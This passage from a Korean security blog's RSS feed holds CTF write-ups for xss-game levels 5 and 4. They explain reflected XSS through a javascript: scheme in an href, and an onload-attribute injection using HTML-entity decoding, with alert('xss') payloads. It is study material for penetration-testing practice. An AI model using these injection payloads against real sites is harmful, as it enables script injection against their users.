this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;436&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;next 파라미터에 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;특수문자 4개&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;'&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;를 삽입하여 결과를 확인해 보면 특수문자가 필터링 없이 그대로 사용되는 것을 알 수 있습니다. 추가로 더블 쿼터를 이용하여 태그를 벗어나서 스크립트를 삽입하는 행위는 할 수 없다는 것도 알 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PB8AQ/dJMcagLbTCr/b1kKvZiGZR1nguldl2mmtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PB8AQ/dJMcagLbTCr/b1kKvZiGZR1nguldl2mmtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PB8AQ/dJMcagLbTCr/b1kKvZiGZR1nguldl2mmtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPB8AQ%2FdJMcagLbTCr%2Fb1kKvZiGZR1nguldl2mmtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;431&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;현재 사용자의 입력 값이 a 태그의 href 속성 값으로 들어가고 있으며 더블 쿼터를 이용해 태그를 벗어나 스크립트를 할 수 없는 상황입니다. 하지만 href 속성을 이용하여 javascript를 실행할 수 있기 때문에 xss 공격을 시도할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드 : javascript:alert('xss')&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;javascript:&lt;/span&gt;&lt;/b&gt; 스킴(Scheme)을 이용하여 스크립트를 삽입합니다. 스킴은 URL의 맨 앞부분으로 리소스를 어떤 방식으로 처리할지 알려주는 식별자입니다. 스킴의 종류는 다양하며 그중 페이로드에 쓰인 스킴은 javascript 스킴으로 Javascript 코드를 즉시 실행해 줍니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;따라서 해당 페이로드는 a 태그 href 속성의 값으로 들어가기 때문에 다른 사용자가 링크를 클릭할 경우 javascript 코드를 실행합니다. alert 함수를 사용했기에 경고 창을 화면에 띄웁니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdq16M/dJMcafZMJU2/Qkeqs19TjSKwEMjdrdORL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdq16M/dJMcafZMJU2/Qkeqs19TjSKwEMjdrdORL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdq16M/dJMcafZMJU2/Qkeqs19TjSKwEMjdrdORL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdq16M%2FdJMcafZMJU2%2FQkeqs19TjSKwEMjdrdORL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;458&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드를 삽입한 뒤 Next를 클릭하면 다음과 같이 스크립트가 실행되며 XSS(RXSS) 공격에 성공하여 문제를 클리어하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cetbBp/dJMcaaxq6MB/xKt73WUAfg8cKciNlOaXx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cetbBp/dJMcaaxq6MB/xKt73WUAfg8cKciNlOaXx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cetbBp/dJMcaaxq6MB/xKt73WUAfg8cKciNlOaXx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcetbBp%2FdJMcaaxq6MB%2FxKt73WUAfg8cKciNlOaXx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;390&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/xss-game(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>XSS Game</category>
      <category>xss game appspot</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/22</guid>
      <comments>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-56#entry22comment</comments>
      <pubDate>Mon, 9 Feb 2026 02:44:21 +0900</pubDate>
    </item>
    <item>
      <title>xss game(CTF) - 문제 풀이 (4/6)</title>
      <link>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-46</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level4&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - &lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level4&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속한 뒤 Create timer 버튼을 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chHXmI/dJMcadHCSkY/Iks34w6Z3fCb7lWpHMci50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chHXmI/dJMcadHCSkY/Iks34w6Z3fCb7lWpHMci50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chHXmI/dJMcadHCSkY/Iks34w6Z3fCb7lWpHMci50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchHXmI%2FdJMcadHCSkY%2FIks34w6Z3fCb7lWpHMci50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;409&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;483&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Create timer 버튼을 클릭해 보면 3초 뒤에 Time is up이라는 창이 뜨고 있는 것을 볼 수 있으며 URL 입력 창을 보면 timer 파라미터에 입력 값이 들어가고 있는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;529&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRKVxI/dJMcaaYtfcW/Oir8Dm4UR1kgzJtmqeMRPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRKVxI/dJMcaaYtfcW/Oir8Dm4UR1kgzJtmqeMRPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRKVxI/dJMcaaYtfcW/Oir8Dm4UR1kgzJtmqeMRPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRKVxI%2FdJMcaaYtfcW%2FOir8Dm4UR1kgzJtmqeMRPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;392&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;529&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;timer 파라미터에 &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;특수문자 4개&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;'&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;를 삽입하여 결과를 확인해 보면 타이머가 동작하지 않는 것을 볼 수 있습니다. 이때 개발자 도구 console 탭에 들어가 보면 사용자가 입력한 값에 의해 에러가 발생하고 있는 것을 알 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9THf5/dJMcadOncHD/d7VpKPUYgrmbxVCp5zCjZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9THf5/dJMcadOncHD/d7VpKPUYgrmbxVCp5zCjZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9THf5/dJMcadOncHD/d7VpKPUYgrmbxVCp5zCjZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9THf5%2FdJMcadOncHD%2Fd7VpKPUYgrmbxVCp5zCjZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;353&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #1c1c1c; text-align: start;&quot;&gt;에러를 클릭해 보면 사용자가 입력한 값이 HTML Entity 처리되어 onload 이벤트 속성에 삽입이 되는 것을 볼 수 있으며 이벤트가 발생했을 때 실행되는 startTimer 함수의 인자 값으로 들어가고 있음을 확인할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lwi6l/dJMcabXnEFj/qvswlo1UnoXi5eIDYbkR91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lwi6l/dJMcabXnEFj/qvswlo1UnoXi5eIDYbkR91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lwi6l/dJMcabXnEFj/qvswlo1UnoXi5eIDYbkR91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLwi6l%2FdJMcabXnEFj%2Fqvswlo1UnoXi5eIDYbkR91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;387&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여기서 문제를 해결할 포인트는 onload 이벤트 속성을 통해 함수가 실행된다는 점과 JS 엔진에서는 HTML Entity 필터링이 적용되지 않는다는 점입니다. 따라서 해당 문제는 HTML 파서, JS 엔진의 동작 방식을 이용하여 해당 문제를 풀 수 있게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;HTML 파서 입장&lt;/b&gt; : 3&amp;amp;lt;&amp;amp;#39;&amp;amp;quot;&amp;amp;gt; 을 보고 해당 HTML Entity가 의미 하는 문자로 변환 3&amp;lt;'&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;JS 엔진 입장 &lt;/b&gt;: 3&amp;lt;'&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;lt;img src=&quot;/static/loading.gif&quot; onload=&quot;startTimer('3&amp;amp;lt;&amp;amp;#39;&amp;amp;quot;&amp;amp;gt;');&quot; /&amp;gt;&lt;/span&gt; 코드가 있을 때&lt;br /&gt;&lt;br /&gt;- HTML 파서가 HTML Entity를 보고 해당하는 문자로 디코딩을 수행합니다.&lt;br /&gt;- JS 엔진은 디코딩 된 값을 가지고 동작하기 때문에 onload 이벤트가 발생했을 때 HTML Entity가 디코딩 된 값으로 함수를 실행하게 됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;따라서 이를 이용하여 페이로드를 작성하고 XSS 공격을 시도할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 78px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 78px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 78px;&quot;&gt;&lt;b&gt;페이로드: 3')%3balert('xss')%3bx=('&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;%3b는&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;b&gt; ;&lt;/b&gt;&amp;nbsp;&lt;/span&gt; (세미콜론)을 URL 인코딩한 값입니다. URL 입력창에 페이로드를 바로 입력할 때 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;;&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;b&gt; &lt;/b&gt;을 인코딩 하지 않고 그대로 사용하면&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; &lt;b&gt;;&amp;nbsp; &lt;/b&gt;&lt;/span&gt;뒤에 오는 값들을 전부 무시하며 XSS 공격을 성공할 수 없게 됩니다. (URL 입력 창에 바로 입력하는 것 아닌 타이머 시간 설정을 할 수 있는 입력란에&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; &lt;b&gt;;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; 을 인코딩하지 않고 그냥 사용하면 자동으로 인코딩 되기 때문에 XSS을 성공시킬 수 있습니다.)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;br /&gt;이벤트 속성 onload에서는&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; &lt;b&gt;;&lt;/b&gt;&amp;nbsp;&lt;/span&gt; (세미콜론)을 이용하여 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;함수를 2개 이상으로 실행시킬 수 있습니다. 따라서 이를 이용하여 경고 창을 띄우는 alert 함수를 사용했고 마지막 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;x=('&lt;/span&gt; 는 문법을 깔끔하게 맞추기 위해서 사용했습니다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&amp;nbsp;&amp;lt;img src=&quot;/static/loading.gif&quot; onload=&quot;startTimer('__입력 값__');&quot; /&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- 페이로드 삽입 --&amp;gt;&lt;br /&gt;&amp;lt;img src=&quot;/static/loading.gif&quot; onload=&quot;startTimer('&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3');alert('xss');x=('&lt;/b&gt;&lt;/span&gt;');&quot; /&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[timer 파라미터에 직접 입력할 때 -&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;b&gt; ;&lt;/b&gt;&amp;nbsp;&lt;/span&gt; 인코딩 적용]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OuZHb/dJMcahDhxXv/5taiFZWZ51pje9JxbKjStK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OuZHb/dJMcahDhxXv/5taiFZWZ51pje9JxbKjStK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OuZHb/dJMcahDhxXv/5taiFZWZ51pje9JxbKjStK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOuZHb%2FdJMcahDhxXv%2F5taiFZWZ51pje9JxbKjStK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;414&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[timer 시간 설정하는 입력란에 입력할 때 -&amp;nbsp; &lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;;&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;인코딩 미적용&lt;/span&gt;]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J6UD4/dJMcabpzJma/VHKZ8vNtgzz9KRAgDEW7v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J6UD4/dJMcabpzJma/VHKZ8vNtgzz9KRAgDEW7v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J6UD4/dJMcabpzJma/VHKZ8vNtgzz9KRAgDEW7v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ6UD4%2FdJMcabpzJma%2FVHKZ8vNtgzz9KRAgDEW7v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; 